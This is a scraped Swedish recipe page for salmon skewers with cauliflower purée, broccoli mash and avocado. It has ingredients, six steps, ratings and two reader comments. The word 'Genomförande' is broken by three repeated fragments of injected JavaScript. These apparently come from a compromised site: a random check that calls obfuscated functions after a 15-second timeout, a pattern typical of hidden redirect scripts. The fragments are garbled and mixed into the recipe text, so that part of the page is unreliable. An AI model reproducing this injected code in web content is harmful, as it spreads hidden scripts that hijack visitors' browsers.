Laxspett

2013-05-22
imageimageimage
  • Yield : 4
  • Servings : 2-4
  • Prep Time : 10m
  • Cook Time : 15m
  • Ready In : 25m

Ingredienser

• 4 st Laxfileér
• 2 dl Blomkål
• 1 dl Broccoli
• 1 Avokado
• 2 msk Grädde
• 2 msk Keso
• Salt, Peppar, Franska örter & Chilipeppar

Genomförandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}e

Steg 1

Skiva laxfileérna i bitar och trä på fyra stycken pinnar
Krydda med salt, peppar, franska örter & chilipeppar

Steg 2

Bryn i smör på låg värme tills de fått färg.
Ställ in i nedre delen av ugnen i 5 min på 175 g

Steg 3

Tina upp blomkålen och broccolin, Alt. Koka i 5 min och du använder färsk.
Lägg dom i två separata skålar

Steg 4

I skålen med blomkål tillsätter du grädden och lite salt och mixar ihop till en puré

Steg 5

Mixa broccolin och tillsätt salt och keso

Steg 6

Servera tillsammans med valfria grönsaker och avokado.

Medlemsbetyg

(5 / 5)

5 5 3
Betygsätt recept

3 people rated this recipe

Related Recipes:
  • Nutellapannkakor

    Nutellapannkakor

  • _SAM0905

    Sallad på svartvitlöks rostad pumpa, lök, paprika, tomat med chevreost, spenat och svartkålschips.

  • _SAM0920

    Svartvitlöks rostad kyckling

  • Avokado & äggmacka

    Avokado & äggmacka

  • Vitchoklad & hallonpudding

    Vitchoklad & hallonpudding

Recipe Comments

  1. posted by Andreas Kjörling on 10/06/2013

    Ser gott ut!

      Reply
    • posted by Jenny Mårtensson on 12/06/2013

      Det är det! Testa gärna! :) Hälsningar från oss på Deffrecet

        Reply

Post A Comment

Current ye@r *